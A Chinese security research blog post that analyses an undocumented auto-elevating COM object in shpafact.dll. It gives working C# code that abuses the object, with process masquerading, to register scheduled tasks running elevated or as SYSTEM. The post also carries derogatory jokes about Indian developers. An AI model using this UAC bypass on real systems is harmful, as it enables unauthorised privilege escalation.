Advanced Windows Task Scheduler Playbook - Part.2 from COM to UAC bypass and get SYSTEM dirtectly
前章勘误:0x03中的CLSID应为`0F87369F-A4E5-4CFC-BD3E-73E6154572DD`,公众号不能修改我是很服气的。
从本文起,专有名词将以官方英文原文着重标记。
让我们上一章通过对MS-TSCH
进行分析理解,大致明确了微软关于计划任务程序的设计思路:以文档化XML格式作为描述、RPC协议为基础,在公开函数式RPC调用的同时,通过COM Helper实现面向对象。
编程思想与设计模式才应当是最基础的安全技术,微软在计划任务程序设计中明显体现了一个进化
的思想,从面向过程
进化到面向对象
,这个过程就是常说的封装
。
让我们继续用常见的Web角度进行类比,可以理解为:
PHP5进化至PHP7。
PHP/ASP进化至Java/.Net。
JS进化至TS/ES6。
(在开发与设计层面,一些思想是统一且几乎不会改变的)
和渗透时常用的脚本或工具不同,在一个完整的系统中,无论是一套封装后的组件,或是一组完善的协议实现,其本身并没有实现
之外的任何意义。只有在使用者(或称“调用方”)根据某些业务逻辑
进行调用,随之多个完整的业务功能
按照相关逻辑组成一套系统,此时的组件才称得上“有意义”。
(如果你认同这个观点,那么所看到的每一个渗透技巧事件追踪漏洞分析都能找到例子进行类比。毋庸置疑,每一个)
计划任务程序作为文档化组件之一,我们当然可以直接根据文档进行调用。无论是直接利用十五年前微软提供的C/C++或者VBS,或是进一步利用十四年前vs2008附带的的C# Interop,再或是利用十年前用烂的的PowerShell都能够直接
产生一些红队(Redteam)
、武器化(Weaponize)
、渗透测试工具(Pentesting Tools)
。
感谢微软提供了丰富的API为渗透测试带来方便,但回归研究者思路,我们不该忽略这一点:计划任务作为重要系统组件之一,被广泛应用于系统多个功能模块中。
所以,让我们来思考一组问题:
有哪些自带功能调用了计划任务?
这个功能可以起到什么作用?
这个功能是否进行了组件化,即可以通过某种方式进行调用?
是否存在利用或滥用的可能?
在回答这个问题之前,让我们重温COM基础。
微软提供了非常完善的基础知识文档https://docs.microsoft.com/en-us/windows/win32/com/com-fundamentals,以及配套的示例代码,这些文档和代码的历史至少可以追溯至Windows 2000的时代。
(我不想在查找资料上花太多篇幅。根据个人经验,花费两天时间,拿出挖洞找链的劲头,配合写论文找参考资料的态度,将原文从头到尾啃一遍,比看十篇技术文章都要有用的多。包括你在看的这篇)
参考文档顺便查漏补缺,我们重新回忆一下最为基础的知识点:
1.在设计层面,COM模型分为接口
与实现
。
例如计划任务示例代码中的ITaskService
。
2.区分COM组件的唯一标识为Guid
,分别为针对接口的IID(Interface IDentifier)
与针对类的CLSID(CLaSs IDentifier)
。
例如CLSID_TaskScheduler
定义为0F87369F-A4E5-4CFC-BD3E-73E6154572DD
。
3.COM组件需要在注册表内进行注册才可进行调用。通常情况下,系统预定义组件注册于HKEY_LOCAL_MACHINE\SOFTWARE\Classes
,用户组件注册于HKEY_CURRENT_USER\SOFTWARE\Classes
。HKEY_CLASSES_ROOT
为二者合并后的视图,在系统服务角度等同于HKEY_LOCAL_MACHINE\SOFTWARE\Classes
。
例如计划任务组件的注册信息注册于HKEY_CLASSES_ROOT\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}
。
4.Windows最小的可独立运行单元是进程,最小的可复用的代码单元为类库,所以COM同样存在进程内(In-Process)
与进程外(Out-Of-Process)
两种实现方式。多数情况下,进程外COM组件为一个exe,进程内COM组件为一个dll。
例如计划任务的COM对象为进程内组件,由taskschd.dll
实现。
5.为方便COM组件调用,可以通过ProgId(Programmatic IDentifier)
为CLSID
指定别名。
例如计划任务组件的ProgId为Schedule.Service.1
。
6.客户端调用CoCreateInstance
、CoCreateInstanceEx
、CoGetClassObject
等函数时,将创建具有指定CLSID
的对象实例,这个过程称为激活(Activation)
。
例如微软示例代码中的CoCreateInstance(CLSID_TaskScheduler,....)
。
7.COM采用工厂模式
对调用方与实现方进行解耦,包括进程内外COM组件激活、通信、转换,IUnknown::QueryInterface
和IClassFactory
始终贯穿其中。
例如微软示例代码中的一大堆QueryInterface
。
现在,我们有了对COM的基本认知,接下来要在一个庞大、复杂的操作系统之中,跟踪一个微小的COM对象调用了。无论多么复杂的系统,归根结底由人开发,由编译器编译。我们知道Windows的编译器为VS,语言为微软风格的C/C++,开发者为三哥。
那么来到思考时间:你是一名三哥程序猿,恒河水使你的代码和你的身体一样无比健壮。现在,你要用VS建立一个C/C++项目,里面调用计划任务做一些事。
-你会怎么写?
-#include <taskschd.h>
-为什么?
-“标准”示例如此。
很好,我们得到了第一种方式:
在所有系统组件中搜索字符串形式的0F87369F-A4E5-4CFC-BD3E-73E6154572DD
,以及其二进制表现形式。
然后重新把思维切换回安全领域,暂时客串一番样本分析:你是一名应急响应工程师,陆莲花胃脑虫被你里里外外反反复复上上下下肆意玩弄得不成马形。现在你出台到了客户内网分析一批恶意样本,已知其中某样本会创建计划任务,在没自动化沙箱的情况下怎样能把它揪出来进行后续分析?
-那TM还用说?ProcMon开起来、某绒刀砍它。
于是我们有了第二种方式:
跟踪注册表HKEY_CLASSES_ROOT\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
的读取,通过日志、Hook、劫持等等方式获取调用栈。
最后,把思维切到我们最熟悉的安全开发/红蓝对抗:现在洋大人发了个框架,能随意拓展巨牛逼,能过宇宙杀软加计划任务巨好用,还有源码能抄简直是洋菩萨。唯一一个问题:不知道在哪调了计划任务,就看到一堆配置文件一堆设计模式。
-直接扔到IDE里面搜CLSID、IID、ProgId反过去找引用啊
我们拿到了第三种方式:
考虑到工厂与动态调用,在配置文件等静态数据
中搜索0F87369F-A4E5-4CFC-BD3E-73E6154572DD
,以及其二进制表现形式。
现在,我们有三种可行方案来进行跟踪了。
思考一下三种方式的优劣:第二种动态追踪的方式能够直观的找到调用方,但一个前提是必须存在活动的调用。
计划任务功能并不是一个需要频繁调用的功能,Windows的复杂性也决定了无法手动访问每一个功能,所以不妨暂时搁置。
第一三种均可归结为静态查找,考虑到我们研究的目标基于COM,而COM绝大多数配置基于注册表,所以首先在注册表这个最大的公共配置文件内进行搜索,可以得到如图所示结果:
C:\\>reg query HKEY\_CLASSES\_ROOT\\CLSID\\{A6BFEA43-501F-456F-A845-983D3AD7B8F0} /s
HKEY\_CLASSES\_ROOT\\CLSID\\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}
(默认) REG\_SZ Virtual Factory for MaintenanceUI
AppId REG\_SZ {A6BFEA43-501F-456F-A845-983D3AD7B8F0}
LocalizedString REG\_EXPAND\_SZ @%SystemRoot%\\System32\\MaintenanceUI.dll,-1
HKEY\_CLASSES\_ROOT\\CLSID\\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\\Elevation
Enabled REG\_DWORD 0x1
HKEY\_CLASSES\_ROOT\\CLSID\\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\\InProcServer32
(默认) REG\_EXPAND\_SZ %SystemRoot%\\System32\\shpafact.dll
ThreadingModel REG\_SZ Apartment
HKEY\_CLASSES\_ROOT\\CLSID\\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\\VirtualServerObjects
{0f87369f-a4e5-4cfc-bd3e-73e6154572dd} REG\_SZ
我们发现了一个可疑的东西:
一个由%SystemRoot%\System32\shpafact.dll
实现的未文档化COM组件A6BFEA43-501F-456F-A845-983D3AD7B8F0
。
一个未文档化的自定义注册表项VirtualServerObjects
,其值包含计划任务组件CLSID。
Elevation@Enabled=1
,意味着可以进行UAC自动提升。
接下来要做的,就是对这个组件进行分析,找到其设计层面的意义,以及探寻是否存在利用的可能。
接下来,我们开始分析COM所实现功能,以及是否可以利用。
%SystemRoot%\System32\shpafact.dll
代码量极少,让我们用五分钟时间进行快速分析。首先根据https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllgetclassobject,COM通过固定导出函数`DllGetClassObject`创建实例,`shpafact.dll`创建了`CClassFactory`作为工厂类:
CClassFactory
作为工厂支持创建多个对象,我们的目标组件A6BFEA43-501F-456F-A845-983D3AD7B8F0
并非已知的两个CLSID之一,将进入最下方CElevatedFactoryServer::CreateInstance
分支:
CElevatedFactoryServer::CreateInstance
方法最终将直接返回CElevatedFactoryServer
对象实例:
CElevatedFactoryServer
对象继承自IUnknown
,且仅有一个对象方法ServerCreateInstance
:
ServerCreateInstance
方法签名为HRESULT thiscall ServerCreateInstance(REFCLSID,REFIID,PVOID*)
,当REFCLSID
参数已在VirtualServerObjects
注册表项注册的情况下,将直接创建指定CLSID
的对象:
根据QueryInterface
方法可得到IID_ElevatedFactoryServer为804bd226-af47-4d71-b492-443a57610b08
:
此时我们拿到了COM调用必需的CLSID
、IID
、虚函数表
、方法签名
,稍作整理即可得到以下IDL
:
\[uuid(804bd226-af47-4d71-b492-443a57610b08)\]
interface IElevatedFactoryServer : IUnknown {
HRESULT \_stdcall ServerCreateInstance(REFCLSID rclsid,REFIID riid,LPVOID\* ppvobj);
};
\[uuid(A6BFEA43-501F-456F-A845-983D3AD7B8F0)\]
coclass ElevatedFactoryServer {
interface IElevatedFactoryServer;
};
获取到IDL
之后,直接使用合适的语言进行调用即可,例如转换为C#等价Interop
代码:
[Guid("804bd226-af47-4d71-b492-443a57610b08")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IElevatedFactoryServer
{
[return: MarshalAs(UnmanagedType.Interface)]
object ServerCreateElevatedObject([In, MarshalAs(UnmanagedType.LPStruct)] Guid rclsid, [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);
}
我们需要创建提升后的(Elevated)
COM对象,所以必须使用CoGetObject
结合Elevation Moniker
进行激活:
BIND_OPTS3 opt = new BIND_OPTS3();
opt.cbStruct = (uint)Marshal.SizeOf(opt);
opt.dwClassContext = 4;
var srv = CoGetObject("Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}", ref opt, new Guid("{00000000-0000-0000-C000-000000000046}")) as IElevatedFactoryServer;
随后调用ServerCreateElevatedObject
方法获取ITaskService
实例:
var svc = srv.ServerCreateElevatedObject(new Guid("{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}"), new Guid("{00000000-0000-0000-C000-000000000046}")) as ITaskService;
这个ITaskService
实例实际上在提升后的进程中运行,所以可使用TASK_RUNLEVEL_HIGHEST
标记创建以完整令牌运行的计划任务,这等价于将xml文件Task\Principals\Principal\RunLevel
的值指定为HighestAvailable
:
<Principals\>
<Principal id\="Author"\>
<RunLevel\>HighestAvailable</RunLevel\>
</Principal\>
</Principals\>
使用此xml
进行注册:
svc.Connect();
var folder = svc.GetFolder("\\");
var task = folder.RegisterTask("Test Task", xml, 0, null, null, TaskLogonType.InteractiveToken, null);
task.Run(null);
以及不要忘记对当前进程PEB
进行Patch:
var fake = "explorer.exe";
var fake2 = @"c:\windows\explorer.exe";
var PPEB = RtlGetCurrentPeb();
PEB PEB = (PEB)Marshal.PtrToStructure(PPEB, typeof(PEB));
bool x86 = Marshal.SizeOf(typeof(IntPtr)) == 4;
var pImagePathName = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x38 : 0x60));
var pCommandLine = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x40 : 0x70));
RtlInitUnicodeString(pImagePathName, fake2);
RtlInitUnicodeString(pCommandLine, fake2);
PEB_LDR_DATA PEB_LDR_DATA = (PEB_LDR_DATA)Marshal.PtrToStructure(PEB.Ldr, typeof(PEB_LDR_DATA));
LDR_DATA_TABLE_ENTRY LDR_DATA_TABLE_ENTRY;
var pFlink = new IntPtr(PEB_LDR_DATA.InLoadOrderModuleList.Flink.ToInt64());
var first = pFlink;
do
{
LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY));
if (LDR_DATA_TABLE_ENTRY.FullDllName.Buffer.ToInt64() < 0 || LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer.ToInt64() < 0)
{
pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;
continue;
}
try
{
if (Marshal.PtrToStringUni(LDR_DATA_TABLE_ENTRY.FullDllName.Buffer).EndsWith(".exe"))
{
RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x24 : 0x48)), fake2);
RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x2c : 0x58)), fake);
LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY));
break;
}
}
catch { }
pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;
} while (pFlink != first);
编译执行,不出意外的话我们将以提升后的身份运行xml中指定的命令(这里是cmd):
至此,我们成功的发现了一个未公开的UAC Bypass
。
但这并不是结束。我们前面提到了修改XML文件Principal
节点的值来注册以完整令牌运行的计划任务,而这个XML节点架构定义记录于MS-TSCH 2.5.6 Principal Schema Part
https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-tsch/b9420a4c-fe40-45a0-ae85-2d57e051409b。
根据文档所述,Principal
节点可包含子节点UserId
,用于提供计划任务执行时的用户身份信息,其格式可以为用户名
、SID
、UPN
、FQDN
。
所以我们可以在XML中指定UserId
为SYSTEM
:
<Principals\>
<Principal id\="Author"\>
<UserId\>SYSTEM</UserId\>
<RunLevel\>HighestAvailable</RunLevel\>
</Principal\>
</Principals\>
随后,我们指定的命令将直接以SYSTEM
身份运行:
即:我们通过一次无文件
的UACBypass
,直接
获取到SYSTEM
权限。
至此,单纯的“安全研究”至武器化落地已经结束了。
但从纯粹知识的领域,这还不够。
请把思维暂时回溯至_0x01 基础_一节,重新打开MSDN,对比完整的目标注册表项,在最后来为本文补充一个最为重要的理论依据。
我们知道经过UAC提升的COM对象需要使用CoGetObject
函数,结合Elevation Moniker
进行激活,这个行为记录在https://docs.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker。
参考文章代码,我们注意到在微软的示例中采用CLSCTX_LOCAL_SERVER
作为激活上下文标记,这表示要求DCOMLaunch创建一个新的进程外COM对象,A6BFEA43-501F-456F-A845-983D3AD7B8F0
对象仅配置了InProcServer32
,这将导致代理激活(Surrogate Activation)
https://docs.microsoft.com/en-us/windows/win32/com/registering-the-dll-server-for-surrogate-activation。
关于代理激活有两个重要的点:首先从安全研究角度,配置了APPID
的代理激活往往存在自定义权限检查。
所以我们需要确认能够进行调用。二进制格式的安全描述符并非可读格式,采用Powershell进行解析后输出:
$x\=get-itemproperty 'hklm:\\software\\classes\\appid\\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}'(new-object System.Security.AccessControl.RawSecurityDescriptor($x.LaunchPermission,0)).DiscretionaryAcl|fl(new-object System.Security.AccessControl.RawSecurityDescriptor($x.AccessPermission,0)).DiscretionaryAcl|fl
将得到类似下面的结果:
BinaryLength : 20
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 3
SecurityIdentifier : S-1-5-4
AceType : AccessAllowed
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None
参考https://docs.microsoft.com/en-us/windows/win32/secauthz/well-known-sids,`S-1-5-4`对应`NT AUTHORITY\INTERACTIVE,任何通过交互式登录的用户都将授予该组身份,通过
whoami /groups`也能够确认这一点:
whoami /groups
组信息
\-----------------
组名 类型 SID 属性
\====================================== ====== ============ ==============================
Everyone 已知组 S-1-1-0 必需的组, 启用于默认, 启用的组
NT AUTHORITY\\本地帐户和管理员组成员 已知组 S-1-5-114 只用于拒绝的组
BUILTIN\\Administrators 别名 S-1-5-32-544 只用于拒绝的组
BUILTIN\\Performance Log Users 别名 S-1-5-32-559 必需的组, 启用于默认, 启用的组
BUILTIN\\Users 别名 S-1-5-32-545 必需的组, 启用于默认, 启用的组
NT AUTHORITY\\INTERACTIVE 已知组 S-1-5-4 必需的组, 启用于默认, 启用的组
CONSOLE LOGON 已知组 S-1-2-1 必需的组, 启用于默认, 启用的组
NT AUTHORITY\\Authenticated Users 已知组 S-1-5-11 必需的组, 启用于默认, 启用的组
NT AUTHORITY\\This Organization 已知组 S-1-5-15 必需的组, 启用于默认, 启用的组
NT AUTHORITY\\本地帐户 已知组 S-1-5-113 必需的组, 启用于默认, 启用的组
LOCAL 已知组 S-1-2-0 必需的组, 启用于默认, 启用的组
NT AUTHORITY\\NTLM Authentication 已知组 S-1-5-64-10 必需的组, 启用于默认, 启用的组
Mandatory Label\\Medium Mandatory Level 标签 S-1-16-8192
所以,作为交互式登录的我们才有权限激活以及调用提升后的COM组件。
其次,从程序设计角度,我们查看关于COM Proxy
的定义。按照https://docs.microsoft.com/en-us/windows/win32/com/proxy所述,代理对象驻留在调用方进程,充当远程对象的代理,在调用方看来,对代理对象的调用和直接调用真实对象并无区别。
这是一个完整的对象代理
,应用且遵循代理模式
,即代理对象的表现形式
、暴露方法
、调用方式
与真实对象完全相同
。
从Web安全的角度,可以理解为ysoserial
里面到处都在用的InvocationHandler
或Util
返回的那个泛型对象,或是你用RetransformAgent
劫持Tomcat Filter
、Spring Controller
之后,为了不影响业务而做的那个Wrapper
;从开发的角度,等同于你用过的任何AOP。
所以我们在0x04 调用
所进行的操作可以翻译为:
1.我们要求COM激活器绑定至Moniker
为Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}
的对象,由于激活上下文标记为CLSCTX_LOCAL_SERVER
,本地COM客户端(combase.dll
)将请求DCOM服务,发送一个进程外(Out-Of-Process)
、提升的(Elevated)
激活请求。
2.DCOM根据组件注册信息(registration info)
与激活上下文(Activation Context)
,确保A6BFEA43-501F-456F-A845-983D3AD7B8F0
对象可以提升(实际上这里将调用AppInfo服务
),且当前用户具备激活权限(存在包含已启用组S-1-5-4
的显式DACL
)。
3.DCOM服务在新的(new)
、其他的(others)
、提升后的(elevated)
进程中进行激活(activation)
操作,创建真实对象(Real Object)
。
4.DCOM通知本地COM客户端激活成功(HRESULT=S_OK
),本地客户端在当前进程创建真实对象的代理(Proxy)
作为实际通信目标。
5.当前进程在代理对象上调用实例方法
,该方法实际上由远程对象进行处理。
6.根据方法签名,调用将返回新的ITaskService
对象引用。由于ITaskService
对象未实现额外的编组(Marshalling)
接口,COM进行默认封装,返回远程对象引用(Remote Object Reference,ObjRef)
。
7.本地客户端在当前进程以代理对象(Proxy Object)
形式创建ITaskService
对象的代理(Proxy)
。
8.根据MSDN所述,对象远程引用在调用方(caller)
等于真实对象;根据CLSID
,真实对象是一个ITaskService
。
9.我们在未提升进程(unelevated process)
中,获取到了在提升后进程(elevated process)
的ITaskService
对象代理,任何对代理对象的操作都将无条件转发至真实对象。
10.创建带有TASK_RUNLEVEL_HIGHEST
标记或其它任意用户(例如SYSTEM
)运行的计划任务。完成UAC绕过。
如果你有耐心看到这里,请务必牢牢记住代理模式这个名词与其含义。我们在本文中见证了一个实际环境中的代理模式套娃,要理解这种模式背后的设计理念和思想,这个思想以后会用在你开发的每行代码、审计的每个功能以及测试的每个业务上。
到这里,我们可以回答0x00中提出的问题了:
1.确实存在一个未文档化的COM,能够根据我们可控制的方式调用计划任务组件。
2.这个组件配置了UAC提升,其通过默认COM代理,在提升后的代理进程内,根据已知的白名单CLSID,创建进程内COM对象;随后通过COM代理直接返回至调用方,供未提升的进程进行调用。
3.由于白名单中有且只有0f87369f-a4e5-4cfc-bd3e-73e6154572dd
即计划任务(TaskService),导致未提升的进程可获取一个提升后的TaskService
对象
4.通过调用此对象即可创建以完整权限运行的计划任务,实现UAC ByPass。
这篇文章可以认为是从理论基础发散并落地到实战应用的开端。以前一篇微软文档化的MS-TSCH协议
与XML作为基础,结合COM基础知识作为补全;随后发掘出有价值的研究目标,作为具有实战价值的工具与代码实现落地;最终我们重新梳理总结相关知识点,借本次这个实例重温关于COM诸多知识细节,并在实践中一一验证,实现“知识闭环”。
文章涉及的相关代码可以在https://github.com/zcgonvh/TaskSchedulerMisc/找到。虽然能够直接编译执行,但我依然不建议直接拿来使用,这对于能力提升并没有任何好处。
(另:请遵守刑法、网络安全法等相关规定,我只是单纯分享知识,任何使用不当造成的后果请自行承担)
(请尊重开源协议 ,抄代码做“武器化”挺无聊的不是么)
当然,这篇文章并不全面,我们只是单纯的根据注册表,然后根据其功能找到了一个UAC Bypass。
而其他的多个角度,无论是继续进行0x01最后对计划任务的跟踪,或是重新对UAC乃至COM进行挖掘,从研究的角度看都有很多细节值得发散开来。
限于篇幅,一些拓展性质的思考将在后续某些系列中进行讲解。
最后,还是那句话,文章的目的是传递知识,论文形式的总结除了“让文章看起来丰满”之外毫无意义。安全研究这种强知识导向的领域没有取巧,只有知识积累才是串联一切的根本,最终厚积薄发乃至蜕变。
希望这篇文章能在技术点之外为各位带来启发。